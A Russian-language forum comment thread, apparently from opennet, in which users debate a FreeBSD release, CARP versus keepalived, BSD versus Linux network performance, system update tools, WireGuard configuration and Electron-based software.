А это вообще наполовину фича. Псевдороллбэк системы. Можно всю фазу уникализации хоста прогнать, если хочется, ее как раз вот на это удобно навешивать. Станет еще приватнее но более ресурсоемко. И тогда на VM имеет смысл ролбэк уже снапшота VM или FS сделать, еще без вон того файла, и шатдауниться/рестартить в нулевый снапшот.

безопастность никогда не была удобной (любая: физическая, бумажная, финансовая, информационная),
и никогда не будет. терпите.

отличная ось, долгих лет

Если бы она ещё работала.

"Если вы перепробовали всё, что можно, но система так и не заработала — прочтите, наконец, документацию" (с)

дать тебя для опыта 3 титановых шара? LoL ;-D

Проверил на свежеустановленной системе команду dump -a -L -f.
Ура - работает.

Сломали, помоему, во времена 9.x.

>powerpcspe

Полюбопытствую - есть может у кого опыт водружения сабжа на PS3? :) Хотя бы на уровне "поржать" :).

ну правильно, сперва opiepasswd сломали, теперь давайте вообще выкинем, то ли дело ключи ssh с паролем 123...ой, задолбало набирать, давайте вообще без пароля, все ж свои.

>сборки для систем виртуализации (QCOW2, VHD, VMDK, raw)

Это и есть самые востребованные сборки FreeBSD.

Верно. Потому что фря не сжирает ВСЕ ресурсы. Есть возможность еще что-то в соседней виртуалке запустить.

Так в нормальных виртуалках аппетиты можно регулировать.

Какие ВСЕ ресурсы сжирает FreeBSD?

Тут такое дело: нужно облегчеить вход новичкам и всяким девляпсам жизнь упростить.

Сами то адепты инсталлятор и дистрибутив годами не видят ибо не нужен он.
Я обычно делаю "инсталяцию" из любой рабочей системы: размечаю диски, форматирую, заливаю загрузчик потом бинарники с конфигами и поехало. Или даже rsync клонирую.

Новичкам понятно, согласен. Девляпсам то зачем фряха на ваш взгляд?

Задачи везде разные, кое что может решатся фрёй.

Интересно узнать что именно. Всё что мне приходит в голову - это билд-система для бзд-бинарников.

Всё, что требует CARP например. Альтернативу пердолиться с keepalived не предлагать.

> Всё, что требует CARP например. Альтернативу пердолиться с keepalived не предлагать.

Можете пару примеров пердолинга привести?

> Можете пару примеров пердолинга привести?

Несомненно.

Ну из примитивного. CARP, и MASTER и BACKUP на интерфейсе используют IP. Его можно прописать в nginx/apache/etc, стартующий/рестартующий сервис с одной стороны как и задумывалось, будут слушать на одном, нужном IP. С другой стороны - при смене ролей master/backup просто начнут обрабатывать трафик. Всё, что возникает при попытке реализовать оную несложную схему на keepalived, и можно очень приблизительно, со всем  сдерживая эмоции, назвать пердолингом. У вас другое мнение?

в некотором роде есть такое преимущество, согласен. Мешало ли это на практике? Скорее нет - либо слушают на 0.0.0.0 либо specific ip на lo вешали - немного больше работы с точки зрения что прописывать в Puppet/Ansible

Использование 0.0.0.0 не во всех схемах желательно, а вешать ip на lo - ну откровенный же костыль. Puppet/ansible это прекрасно, но ещё лучше когда ими не приходится компенсировать убогость реализации чего бы то ни было.

Как бы то ни было, CARP сделан просто отлично - начиная с концепции и заканчивая конфигом (одна строчка на один IP, супротив портянок keepalived). Практически любые схемы реализуются просто и логично. А keepalived - это пердолинг. Да, его можно автоматизировать доп. инструментами, что сути не меняет.

И в сетевом стеке FreeBSD полно таких замечательных плюшек. Что сделано хорошо - то сделано хорошо.

Не вижу противопоставдения - я и не настаивал что keepalived в этом месте лучше сделан. Конкретно по параметру оперирования с vip carp лучше.

Переезжать на carp при этом я не буду, факторов больше чем один этот конкретный, ради карпа тащить придётся фряху, а это удовольствие никому не нужно.

Ыы все ещё про девляпсов? Вы где таких видели, я бы их спросил - зачем они так

Ну мои вон притащили pfsence. Кажется, по их замыслу это должен был быть интуитивно-(им)-понятный dhcpd и еще возможно что-то. Но интуиция где-то их подвела, и теперь я им со своего линуха раздаю адреса. Нахрена - сам не знаю (во всех остальных сегментах адреса раздает винда и все совершенно счастливы).

А это корыто год назад потихому выключил - обанаружив что оно все еще пускает с изначальным паролем. Вроде никто не заметил.

John H. Baldwin (April 4, 1851 – June 19, 1924) was an American lawyer and politician.

Мертвые политики пишут Фряху!

Теперь я наконец-то понял почему она себя так ведёт.

Ребят, а почему нет апдейтов у PF (фаервол)?

За этим в OpenBSD.

> За этим в OpenBSD.

Зачем тогда FreeBSD, если есть OpenBSD.

Во фрибзд линуксатор есть. И даже работает неплохо.

> Во фрибзд линуксатор есть. И даже работает неплохо.

Зачем он нужен? Зачем эмулировать (транслировать) чужую ОС ?

Чтоб ньюфагам перебегающим было привычнее.

> Чтоб ньюфагам перебегающим было привычнее.

Тогда уж Wine интегрировать в ядро, чтобы совсем ньюфаги были счастливы.

А что там обновлять?
Он давно переписан и работает отлично.

И что ты хочешь в нем апгрейдить? Он вполне полноценен, функционален и самодостаточен.

Ну, если не вспоминать что pf в openbsd и pf в freebsd - два разных pf (второй - лучше), то да. Тем, что ест можно пользоваться, оно работает.

Зачем нужны все эти *BSD, когда есть OpenVMS?

В чём-то они очень похожи, согласен.

rc.d обвес для WireGuard не подготовили, или я что-то упускаю?
Как его вызов в rc.conf прописать?

Обвес почему-то не включили в base-system, нужно ставить net/wireguard-tools

А во фряхе не принято всю херь мира в базовую систему тащить. Драйвер отладили - включили, дойдут руки до окружения - и его впилят, а может так портом  останется,если там вечная бэта будет.
Вон например racoon так и сидит в портах.

да в ней последнее время вообще принято херь делать.
Драйвер в ядро включили, управление этим драйвером - какая-то хрень в портах с зависимостями от всего интернета, по другому нипалучилось.

racoon сидит в портах потому что он не управляет никаким драйвером - он все делает в userspace (и ты МОЖЕШЬ использовать ipsec без racoon - только сам вместо того енота полощи ключи и sa)  и потому что шерето и латать его некому.
Вон опеношникам это надоело и они приделали свою альтернативу. Если б еще и работала.

wireguard_enable="yes"
wireguard_interfaces="wg0"

Обвес делается несколькими строчками в бсд ядре и комипяцией
Если есть проблема обращайтесь ilyasovef@mail.ru

Мы же надеюсь не спорим что лучше пингвин или bsd я о том каждому свое.
Детям нужно показывать все ОС

Тут не о чем спорить, но у фряхе нечего предложить и ничего интересного. Что-то даже не помню, чтобы код из фряхи воровали. Dragonflybsd, netbsd, да. А фряха только сама паразитирует.

> Что-то даже не помню, чтобы код из фряхи воровали. Dragonflybsd, netbsd, да. А фряха только сама паразитирует.

https://www.opennet.me/opennews/art.shtml?num=58424
> Релиз операционной системы DragonFly BSD 6.4
> 03.01.2023 21:17
> Из FreeBSD перенесена реализация функции gtaskqueue().
> В libkern из FreeBSD перенесён код функции timingsafe_bcmp().

Опеннет "аз из"

То что они друг у друга воруют детали реализации как раз нормально. Я имел в виду когда для коммерческого продукта берут код.

Плейстейшн. Еще был жунипер но там грят новые модели на линуксе, вах какие ренегаты.

Все там по старому в жунипер. Сделали 2 новых специализированных модели по заказу какого-то "придурка" и на этом с Linux ом все.

Тебе завидно, вижу.

> заказу какого-то "придурка" и на этом с Linux ом все.

Печалька для вас в том что таких "придурков" сейчас - весь глобус и их заказы явно не оскудеют.

оскудеют - у скудоумных с деньжатами не очень.

А те кому нужны магистральные жуниперы - тем не нужен линукс ну вот совсем.

> оскудеют - у скудоумных с деньжатами не очень.

За это время новые появятся. И цикл повторится.

> А те кому нужны магистральные жуниперы - тем не нужен линукс ну вот совсем.

Магистральные? Ну может быть. А всяким датацентрам и проч, особенно вполне конкретных фирм, хочется чтобы это интегрировалось в их управление инфраструктурой. Не так как навязано какими-то хмырями а так как удобно им. И в этом смысле "по заказу таких сяких" наверное альтернатива "разработать самому" что практикуется энным количеством крупных фирм. Если это оно, с чего б им заканчиваться - не понятно.

Паразитирует? Хехе. Качество кода WireGuard именно разработчиками FreeBSD значительно улучшено. Вангую что на след./через релизе в Linux код Wireguard именно FreeBSD версии тянуть будут, заместо помоечного, что есть сейчас в Linux.

> Паразитирует? Хехе. Качество кода WireGuard именно разработчиками
> FreeBSD значительно улучшено.

Вот это врядли. Лучшее что с кодом Донфилда можно сделать, особенно вокруг крипто, это не трогать его своими кривыми лапками. Иначе можно "улучшить" на свою голову.

> Вангую что на след./через релизе в Linux код Wireguard именно
> FreeBSD версии тянуть будут, заместо помоечного, что есть сейчас в Linux.

Это врядли - линуксный вайргад мало того что активнее майнтайнится именно Донфилдом (который вообще не разработчик BSD) так еще модуль вайргада в линуксе на линуксную инфраструктуру сети, крипто и проч завязан, и это разумеется там сильно иначе. Под него совместными усилиями крипто апи вообще доделывали. С одной стороны донфилд жал тех, с другой они донфилда, в результате сошлись на энном компромисе.

В фре именно донфилд вообще накодил это только потому что то что накодил изначальный кодер было куском позора и такого треша под своей маркой донфилд совсем никак не хотел. Но врядли он будет активно это майнтайнить, это вон те "улучшатели" уже.

Для "познакоиться с юниксами" кмк будет годнее, потому что, во-первых, намного меньше автомагии, прям намного. Во-вторых, меньше автомагии. Плюс дока всё таки покрывает бывазовые вещи. Можно что-то поставить, что-то накрутить.

Ну естественно для знакомства с Юниксом лучше выбрать именно Юникс, чем юникс-подобный эрзац.

Я вообще свой путь програмера начинал с vax систем

Давайте не будем мереться .... а просто примем что как факт что кажлая рс хороша

Интересно чем mergemaster то не угодил...

Мне тоже интересно и как без него.
Впрочем он мне тоже не сильно нравился, пришлось его обкладывать костылями чтобы на автомате обновлять ОС без вопросов.

>пришлось его обкладывать костылями

Что ж за костыли там понадобились, если mergemaster -Ui отрабатывает без лишних вопросов?

yes i | mergemaster
yes | mergemaster
потому что на часть вопросов надо ответить i а на остальное y.
Совсем без этого нельзя, я уже всё перепровбовал для млих случаев.
И у меня далеко не пустой mergemaster.rc.

etcupdate(8) жы есть.

Пойду читать, летом уже 14 выйдет, так что лучше переползти на него заранее.

> Мне тоже интересно и как без него.

вот интересно, а src/Makefile не забудут обновить в соответствующих частях?

> позволяет использовать во FreeBSD Linux-утилиту ip из пакета iproute2

О, наконец-то нормальный софт начали завозить. Ещё бы систему инициализации поменять на что-то вменяемое вроде systemd, и заменить убогий IP-стжк на линуксовый, и получится вполне годная база для прошивок игровых консолей.

Заменить высокопроизводительный и низко-латентный IP на мусор из Linux?? Да ты клоун однако :))

А чего тебя так бомбит от линукса? Какие-либо пруфы вообще есть, или ты просто болен?

> А чего тебя так бомбит от линукса? Какие-либо пруфы вообще есть, или
> ты просто болен?

NetFlix тебе в пруфы

https://www.phoronix.com/review/netperf-bsd-linux/3

в 3 !!! раза стек Linux сливает FreeBSD

> в 3 !!! раза стек Linux сливает FreeBSD

А вон там, на сайте нжинкса, где про ktls, фря чего-то продула убунте. Что с ktls что без.

> А чего тебя так бомбит от линукса? Какие-либо пруфы вообще есть, или
> ты просто болен?

-"Yes, the TCP/IP stack of FreeBSD has far less latency than Linux. That’s why Netflix chooses to stream its movies and shows to you on FreeBSD and never Linux. It’s also why Netflix chooses to pay some of its best engineers to contribute to the current and future codebase of the FreeBSD kernel and not the Linux kernel. In general, many web applications feel “faster” on FreeBSD servers due to the better “response time” or latency."

Ха, вы с с этим единственным netflix-ом уже помешались. Прямо какая-то соломинка. Если бы оно хоть на долю было так (про лучшую производительность хоть где-то и в чем-то и хоть где большую надежность), фряху бы не только нетфликс юзал (чисто по интерции, да), а сильно больше где. Прежде всего в суперкомпы бы фряху непременно пихали, ибо там за производительность борются насмерть, выжимая по крохам всюду, откуда только можно хоть что-то выжать. Но нет, там везде линукс. Как и на всех спецжелезяках, созданных именно для производительности и надежности, вроде оракловых екзадат или межделмашевых майнфреймов. Там линуксы, там фри и близко не плавало. Случайно ли? Закономерно. И только кучка фантиков фряхи носится по интернетам с мифами древней калифорнии и нетфликсом наперевес.

>[оверквотинг удален]
> Если бы оно хоть на долю было так (про лучшую производительность
> хоть где-то и в чем-то и хоть где большую надежность), фряху
> бы не только нетфликс юзал (чисто по интерции, да), а сильно
> больше где. Прежде всего в суперкомпы бы фряху непременно пихали, ибо
> там за производительность борются насмерть, выжимая по крохам всюду, откуда только
> можно хоть что-то выжать. Но нет, там везде линукс. Как и
> на всех спецжелезяках, созданных именно для производительности и надежности, вроде оракловых
> екзадат или межделмашевых майнфреймов. Там линуксы, там фри и близко не
> плавало. Случайно ли? Закономерно. И только кучка фантиков фряхи носится по
> интернетам с мифами древней калифорнии и нетфликсом

Забавляют меня чайники - который суперкомпьютеры то не нюхали даже - а рассуждают о производительности, да еще и "насмерть", хаха. Так вот - там производительность количеством вычислительных нод меряется в проекции на скорость расчета заданной задачи. Там никто пис*ками не меряется в отношении тупой производительность отдельного процессора или ОС.
А последний суперкомп от Т-платформ который я видел, и приводил в порядок (отвалился трансивер на Panasas) для нефтянки вообще под управлением Linux+JAVA работает. Это они JAVAой насмерть за производительность борются. Гыы.  
Ну и конечно производители игровых платформ SONY и Nintendo со Switch тоже не дурачки, в отличии от тебя - прекрасно понимают что игровой платформе нужен прогрессивный/быстрый/низколатентный TCP/IP стек.

Ты таки ответь на вопрос, почему самой производительной и надежной в мире фрибсд нет на суперкомпах? Какая-то бубунта в полный рост, а суперпроизводительной фряхи там нет вообще.

>понимают что игровой платформе нужен прогрессивный/быстрый/низколатентный TCP/IP стек

Хе, бро, ты похоже не в ладах с реальностью. Вот суперкомпам высокопроизводительный сетевой стек нужен, там юзается самое высокоростное сетевое железо, что только есть для в данный момент. И прогрессивный/быстрый/низколатентный TCP/IP стек там как раз к месту, поэтому там везде линукс. А вот игровым приставкам-то сеть нахрена? Обновления получать можно хоть по диалапу, и вот поэтому там фрибсд, хватит и этой убогости.

> А вот игровым приставкам-то сеть нахрена? Обновления получать можно хоть по диалапу, и вот поэтому там фрибсд, хватит и этой убогости.

Когда у тебя в какой-нибудь сетевой игрухе пинг будет полминуты - сам догадаешься. Особо если это случится посреди серьезной зарубы, а в игрухе в случае гибели ты теряешь все, что при тебе имеется.

Теперь понятно, почему во всех гейм клубах стоит винда на игровых серверах, наверно там сетевой стек еще более крутой, чем у freebsd.

> Ха, вы с с этим единственным netflix-ом уже помешались. Прямо какая-то соломинка.

Это соломинка не то что верблюда пополам переломит, она континент на дно сможет отправить :)
Погугли сколько процентов от мирового траффика - их траффик. Если между ушей не полный вакуум - есть шанс что поймёшь.

Раздутое ядро.
Высокие системные требования.
Непрозрачная система запуска.
Разнобой в развитии множества бесполезных дистрибутивов.
Необходимость использовать костыли вроде SELinux для хоть какой-то безопасности.

На линух сильно батон не кроши. Сегодня это именно та система, что даёт твоей фряшэчке жизнь.

> На линух сильно батон не кроши. Сегодня это именно та система, что > даёт твоей фряшэчке жизнь.

...и смерть.

Расскажи это админам серьезных UNIX систем. Они посмеются.

>Расскажи это админам серьезных UNIX систем. Они посмеются.

Сообщение из начала нулевых. Сейчас такой msg выглядит смешным, на фоне тотальной и массовой замены этих "серьезных UNIX систем" линуксами везде.

"Если я этого не видел, этого нет"

Поинтересуйся, в каких областях используется AIX и HP-UX и согласны ли тебе платить такую же зарплату с твоим Linux и более ничего весомого.

Если ты считаешь, что знаешь хорошо только одну-единственную систему, у меня для тебя плохие новости — ты не знаешь даже то немногое, потому что тебе не с чем сравнивать.

>Поинтересуйся, в каких областях используется AIX и HP-UX

Прекрасно знаю в каких областях, там где что-то поставили в 90-ых, и слезть до сих пор не могут. Легаси по остаточному принципу. Что-то новое с привязкой к aix и hp-ux не создают уже лет десять.

>и согласны ли тебе платить такую же зарплату с твоим Linux и более ничего весомого.

С моим линуксом платят сильно больше, потому что тупо работы на порядки больше, чем с aix-ом и чпуксом. Не, мне лично очень интересно было бы позаниматься с этими системами и сейчас, но те редкие места заняты каким-нибудь дидами, которые доживает до пенсии, покрываясь пылью и паутинами вместе с аиксом и чпуксом.

"А мужики-то не знают"...

Народная примета: "Если упертый линусоид дает прогноз — он сбывается... но в точности наоборот".

Сколько там линуксоиды поют свои священные песни о скорой смерти Microsoft?
И со всеми остальными системами точно также.

Вот мужики то, в отличие от тебя - пацанчика, как раз - ЗНАЮТ. Я последние AIX@Power списал в прошлом году. Другие  UNIX - ещё раньше. Терерь ... стыдно сказать но ... я линуксадмин :)

А чего стыдного то? "Имидж ничто, жажда все" :P

Нечем хвастаться. Списать работающую систему (тот же POWER) и попилить бюджет по силам любому "эффективному менеджеру" (кстати, и ведешь себя так же).

А вот изучить и настроить — тут профессиональный инженер нужен...

В общем, хотелось бы знать, кто ты такой, раз хватаешься тут непонятно чем. ВОт  народ и оценит уровень твоих заслуг.

>А вот изучить и настроить — тут профессиональный инженер нужен...

Вот это как раз про линукс, в котором нужно изучать и настраивать. В комерческих юниксах ты делаешь все по строго методичке, за которую платишь вендору тонны денег, чувствуя как вендор держит тебя за яйца. Тоже мне "наука инженерная". От того на линуксы все  и убежали. Но умиляют старперы, которым от старческой дименции кажется, что умение ковырять по методичке юникс-это высшее инженерное исскуство.

Тебя просто никто не подпустит к AIX или HP-UX без курсов и/или опыта работы. Никто не будет рисковать своей системой, беря на работу линуксятника без опыта.

>Тебя просто никто не подпустит к AIX или HP-UX

Бро, я с них начинал, вернее, с соляриса, но и остальные до кучи потрогать довелось. А потом был свидетелем и участником замены всей этой братии линуксами.

... а скоро станешь свидетелем улёта линуксов в облако.
А потом серверлесс...
И на обПеньНете обсуждать станет нечего ... НАРОЧЬ!!!(С) :-\

Пруф или не было.

"Пришло время офигительных историй..."

С какого перепугу мы должны тебе верить?
Комплекс работать озвучь, которые выполнял? Каой софт разворачивал? С какими трудностями встречался?..

А для списания инженер не особо нужен. Это задача для бухгалтерии. Тендер огранизовать — это к менеджеру.
Так в чем твоя заслуга? Бюджет попилить?

Мы прослушали передачу "В гостях у сказки".

В чем проблема? Учись, составляй резюме, устраивайся на приличную работу. Правда, вот беда... видосиков на Youtube на эту тему, прямо скажем, маловато. Надо перечитать приличное количество страниц мануала.

C Linux проще — неделя курсов и ты герой!

> Расскажи это админам серьезных UNIX систем. Они посмеются.

Смеяться будут девопсы нанятые на их место. Кто-то видел девопса с сабжем вообще?

И слава богу. Хоть что-то ещё работает нормально, без участия "суперспециалистов" после трехмесячных курсов.

> И слава богу. Хоть что-то ещё работает нормально, без участия "суперспециалистов" после
> трехмесячных курсов.

При том в основном - на локалхостах уже. Остальным такие услуги с такими параметрами уже не очень надо, когда есть вон те, с вон теми параметрами. А зачем кому-то долго, дорого, медленно и хреново, если можно быстро дешево и сердито?

Переведи, пожалуйста, с девопсовского на русский язык.

Кому, с какими параметрами зачем нужно и т.д. Из твоей речи мало что понятно.

Дорогие и неэффективные сотрудники мало кому нужны. Особенно еще и с диким ЧСВ и сложнозаменимые.

Это ты про себя так? Ну что же самокритично... молодец! Надо же как загнул:
"Дорогие и неэффективные сотрудники мало кому нужны. Особенно еще и с диким ЧСВ..."

А вот "сложнозаменимы"м ты себя зря обозвал. Разумеется, профессионалов в любой сфере не хватает, и вот беда — на их фоне ламеры очень легко выявляются. И знаешь как? — По уважительному отношению к другим системам и чужому труду по их разработке.

> Это ты про себя так? Ну что же самокритично... молодец!

Я вообще не девопс и вон те мне не конкуренты со своей бсдей. У них что-то порвется вон там конкурировать такими то инструментами.

> А вот "сложнозаменимы"м ты себя зря обозвал. Разумеется, профессионалов в любой сфере
> не хватает, и вот беда — на их фоне ламеры очень легко выявляются.
> И знаешь как? — По уважительному отношению к другим системам и чужому труду по их разработке.

Да я не спорю что троллить в стиле Кроа Хартмана круче :). Мол у вас неплохая система, но я думаю что мы так то можем и получше вот тут и вот тут...

> Заменить высокопроизводительный и низко-латентный IP на мусор из Linux??

ну мы вот заменили в 2010м - и там где фря кашляла и чихала с хз каким по счету драйвером интеловой сетевухи  (от интела, от яндекса, от интела с патчами каких-то васянов) и ведром вручную и хз каким угадавом подобранных tunables в loader.conf - линукс из коробки позволил выбросить из восьми фронтендов четыре при постоянно росшей нагрузке.

Расскажи мне еще сказок про высокопроизводительный.

>> Заменить высокопроизводительный и низко-латентный IP на мусор из Linux??
> ну мы вот заменили в 2010м - и там где фря кашляла
> и чихала с хз каким по счету драйвером интеловой сетевухи  
> (от интела, от яндекса, от интела с патчами каких-то васянов) и
> ведром вручную и хз каким угадавом подобранных tunables в loader.conf -
> линукс из коробки позволил выбросить из восьми фронтендов четыре при постоянно
> росшей нагрузке.
> Расскажи мне еще сказок про высокопроизводительный.

Ты это NetFlix у расскажи. Может ты еще заявишь что твои нагрузки с NetFlix овыми сравнимы??

> Ты это NetFlix у расскажи.

так он то же самое сделал давным-давно. на фронтах у них линуксы. фря осталась только на статике.

> Может ты еще заявишь что твои нагрузки с NetFlix овыми сравнимы??

нагрузки у всех сравнимы - потому что серверное железо примерно однотипное и http у всех тоже тот же самый.
И отличаются только количеством этих самых фронтендов. Но вчетверо меньше серверов - будет везде вчетверо.

> так он то же самое сделал давным-давно. на фронтах у них линуксы.
> фря осталась только на статике.

Так вон там у нжинкса на странице по ktls бенчи. Убунта побеждает, лол. Что так что сяк. Вот ты из своих будешь серваки докупать, еще процентиков 15? Ну вот и нетфликс - тоже, видимо, пришел к выводу что ничего личного, это бизнес.

> нагрузки у всех сравнимы - потому что серверное железо примерно однотипное и
> http у всех тоже тот же самый.

Вон там нжинкс на одинаковом железе забенчил. Быстрее всего оказалсь убунта + ktls разумеется. И вообще, вон там уже даже майкрософт под GPL комитит. Могут же, если захотят :))

Когда из одного из отделов netflix-а уйдет та пара старперов, которые зубами там держат фрибсд, заменят ее там на убунту в течении пары месяцев.

Влажные мечты трехмесячного девопса?

А ты заскринь этот твит. Везде откуда выкинули фряху тоже божились, что никогда. А придет грамотный технарь, подсчитает все на цифрах, да покажет менеджерам, а те потом всех бсдишников вместе с их высококопроизводительной фрей на мороз, или делают из них линуксоидов, из тех, кто поумнее.

Где-то уже встречал что-то подобное... "Не будет ни театра, ни кино, одно сплошное телевидение..." (с)

Ну да, трехмесячные девопсы — это мощная сила, сносящая всё на своем пути: софт, сервера, финансирование...

> Ну да, трехмесячные девопсы — это мощная сила, сносящая всё на своем
> пути: софт, сервера, финансирование...

...с фряшниками, забыли добавить :). И да, если девопса можно по минималке за 3 месяца натаскать это фича а не баг. Вон те незаменимые корпам не очень нужны.

>Влажные мечты трехмесячного девопса?

Да не - так и будет.
Даже если фря на две головы выше. Ну мир так сейчас устроен :-\

> Даже если фря на две головы выше. Ну мир так сейчас устроен :-\

Не, ну почему. Если "на две головы выше" подразумевает серьезный измеримый профит в каком-то реальном перфомансе в чем-то полезном... то бизнес обет верности той или иной технологии в общем случае не давал. Просто предпосылок для этого нет. Самые крутые системные специалисты сейчас вокруг линукса. Им нравится что они делают и у них это получается очень круто, они когда что-то делают то горой за результат. Уж как минимум майнтайнеры core подсистем - поголовно.

Однако в целом важно сочетание свойств. Если скажем система мучительна в менеджменте, а сотрудников надо дрессировать 2 года, это может оказаться очень проблемным планом по множеству аспектов, тогда чуть больше серверов установить проще и дешевле будет. В конце концов - вопрос соотношений.

Высокопроизводительный, низколатентный и ничего, кроме отдавать байты с ip:port на ip:port не умеющий. Ну да, cat тоже производительнее emacs. Но есть нюансы.

Нет, спасибо. Из всех bsd мне нравится только опёнок и стрекоза. Фряха отталкивает сатанинскими картинками, т.к. я христианин и считаю такие рисунки неприемлемыми. Плюс во фряху тянут вообще всё из линуха, и уже сейчас она от линуха ничем практически не отличается, утратилась самобытность. Устанавливаешь какой-то пакет, он половину линуха в зависимостях притащит.

Почему-то OpenBSD очень популярна, но никак не могу понять чем же она лучше NetBSD? В NetBSD ядро более симметрично-многопроцессорное и nvmm многопоточный, и npf многопоточный, и поддержка ZFS есть и поддержка LVM. То есть она и быстрее должна работать и возможностей в ней больше...

Не знаю на счёт netbsd, но в openbsd лучшие man'ы из всех которые я видел. И кстати разработчики этим гордятся и призывают их читать.

И к чему надо маны смотреть, чтобы в этом убедиться?

правильно,зачем маны когда есть ютубные гуру

подтяни зрение, там написано "к чему", а не "зачем"

NetBSD вообще не предназначена для повседневного использования, а только как обкатка технологий. OpenBSD помимо обкатки технологий еще и можно повседневно пользоваться.

А можно более развернуто, почему NetBSD не для повседневного использования?

Это потому что он не умеет и не хочет. Кто хочет и может - используют, кто не хочет и не может, рассказывает про импотенцию.

Дык ради вас, христиан, демонёнка понерфили до безликого круга с выпуклостями.
Приходится добавлять

loader_logo="beastie"
в loader.conf, шоб вертать истинный образ

> Устанавливаешь какой-то пакет, он половину линуха в зависимостях притащит.

При следующем набросе воздержись от конкретики - не пались так явно.

> Фряха отталкивает сатанинскими картинками, т.к. я христианин и считаю такие рисунки неприемлемыми

Это вам только в православную Винду с иконками и службами.

Кому сегодня может понадобиться ОС в которой даже CUDA, как я слышал, не поддерживается? Электрона тоже не было, только кривой протухший порт, а это значит, автоматически нет 90% современного софта.

У меня нет 100% софта, поскольку нет Electron 8-) Ужос, ужос!

> У меня нет 100% софта, поскольку нет Electron 8-) Ужос, ужос!

Современного нет. У тебя нет выбора, ты будешь использовать то, что тебе скормят корпы. Корпы говорят "теперь наш софт будет на электроне", и ты используешь электрон отныне.

Странно, у меня тоже софта на электроне нет. И что значит нет выбора? Придет злобный корп и расстреляет за отсутствие софта на электроне? Нет? Ну тогда могут идти нафиг с своим "современным софтом" и использовать свою спайварь, адварь, малварь и блоатварь сами.

> Странно, у меня тоже софта на электроне нет. И что значит нет
> выбора? Придет злобный корп и расстреляет за отсутствие софта на электроне?
> Нет? Ну тогда могут идти нафиг с своим "современным софтом" и
> использовать свою спайварь, адварь, малварь и блоатварь сами.

Наверное, тебе не надо на компе работать, тогда можешь и отказаться от качественного и удобного ПО. В противном случае тебя всегда обойдут те, кто будет пользоваться хорошим ПО. Можно жить как пророк Столлман, конечно.

> Наверное, тебе не надо на компе работать,

Это какой бы вот софт для именно работы на электроне, интересно?

> тогда можешь и отказаться от качественного и удобного ПО.

Тормознутая блоатварь, игнорирующая системные темы, жрущая гигазы оперативы и тормозящая и лагающая буквально на любую операцию - не рассматривается мной как "качественное и удобное ПО". Маленький такой нюанс.

> В противном случае тебя всегда обойдут те, кто будет пользоваться хорошим ПО.

Ну, попробуйте меня обойти ... ну пусть в проектировании электроники. Я в KiCad рисую, если уж мы о работе за компьютером. Ваш ход маэстро.

> Можно жить как пророк Столлман, конечно.

Он написал компилер которым я пользуюсь, чтобы мои проекты компилить и всякий кастом, так что он для меня сильно полезнее вас и вашего "суперценного" софта.

> Наверное, тебе не надо на компе работать

ну он там живет похоже в своей крошечной нишке с полутора заказчиками и на свет из нее не показывается. Уминявсеработайка, лапочка.
(боюсь только представить как у него выглядит документация)

Правда, про качественное и удобное это ты сп-дел. Электрон для того и придуман чтоб забить болт на качество и удобство в сторону тяпляперства. Достаточно сравнить морду доэлектронного скайпа с тем убожеством которое сейчас.

Но общаться с клиентами и коллегами ты будешь по скайпу и всосапу, а не просить их напесать тебе в irc'шечку на модном в 90м году tkirc.

Есть IRC, а есть Discord, решают они примерно одинаковые задачи. Только и дискорда ещё качественные воип чаты, боты, и интеграция с игрушечками бонусом. А насчёт скайпа ты чёт промахнулся, Slack же (или Teams для содомитов, который тоже электрон). Да и на морду плевать, главное ведь функциональность. VSCode сегодня практически безальтернативен, можно пострадать с вимом и накрутить примерно похоже, но это будет костыльненько уже. Старое ПО действительно довольно убогое по возможностям и по виду, тут электрон норм. V8 жрёт память конечно, но тут уж что сделаешь.

> Есть IRC, а есть Discord, решают они примерно одинаковые задачи.

И есть конкретно либера, где отвисает более 50К опенсорсных кодеров. Можно прокачать кодерские, или какие там скиллы (разработчики электроники, спецы по секурити и проч там тоже есть, и много кого еще интересных рож).

>  Только и дискорда ещё качественные воип чаты,

Нахрен нужно скажем дружно.

> боты,

Я для tox ботов сам пишу, там апи удобное, можно за 15 минут даже на голом сишечке нечто прикольное забахать. Можно и не на сишечке, биндинги под все что угодно есть. И круть в том что это по сути готовый месенжер-как-апи. Который к тому же не зависит от "благодетелей". Поэтому никто не грохнет мне внезапно аккаунт по какой либо причине, оставив меня без доступа к моему боту в котором я так то светом щелкать мог в нескольких локациях и еще рядом аспектов автоматизации рулить.

> и интеграция с игрушечками бонусом.

Начали про работу, закончили игрушечками... и еще стоит добавить маленький нюансик. Там в комплекте довольно наглый рабовладелец, который банит народ только в путь, запрещает альтернативные клиенты, и вообще прозрачно намекает что скот не должен за загородки вылезать. А в IRC можно какой угодно клиент использовать. Какой удобно мне. Вот нафига мне строиться под паскудного корпа с риском что мне акк заблочат по желанию левой пятки?

> функциональность. VSCode сегодня практически безальтернативен, можно пострадать с вимом

Я в Geany более менее крупные штуки наворачиваю и в гробу видел тормозилку с троянами от майков. Судя по тому что меня завалило кодом и у меня зудит в куче мест попробовать v2/рефактор, я довольно продуктивно навернул. К сожалению генереж сотен кода еще не говорит о продуктивности в придумывании более удачных интерфейсов/апи/реструктурировании логики и все пришло к тому что я уткнулся в скорее вот этот аспект как bottleneck. Я пока еще не ультрапро в этом.

> действительно довольно убогое по возможностям и по виду, тут электрон норм.
> V8 жрёт память конечно, но тут уж что сделаешь.

В перечисленном вами уг нет ничего что было бы каким-то уникальным, мощным или давало бы уникальные возможности.

>закончили игрушечками

Дискорд это вообще файлообменная сеть и система дистрибуции контента, если что. Чёт ни у кого проблем нет, а ты выдумываешь какие-то мифические недостатки.

Я не желаю пользоваться софтом на электроне, для меня одно это уже огромный недостаток. Да еше от тоталитарного мегакорпа который альтернативы банит и выносит аккаунты пачками. Ни у кого проблем нет? Да вашет они влет забанили толпу народа недавно. А, ну если всех забанить то тогда наверное определение верным станет.

За что забанили, за нарушение ToS? Тогда ничего удивительного.

> За что забанили, за нарушение ToS? Тогда ничего удивительного.

Лично я пришел в опенсорс как раз чтобы не наслаждаться подобными прелестями. И более-менее нащупал дорожку как можно действовать без всего этого "счастья". А вы можете наслаждаться ToS, EULA, DRM, ... если вам так больше нравится.

Лично я для коммуникаций с друзьями вообще Tox предпочитаю. Меня там в принципе никто не забанит, хоть тресни. Это технически нереализуемо. Это мой ответ "благодетелям" с ToS.

> уникальные возможности.

Современные возможности. Вот кидают тебе файл в чатик и все участники могут его быстро и удобно посмотреть в любое время.

А что до VSCode, ну, без LSP тоже как-то жили, но в современных реалиях это необходимость, как и всё прочее. Сравнение с geany (худшим вариантом из всех возможных альтернатив) даже не забавное.

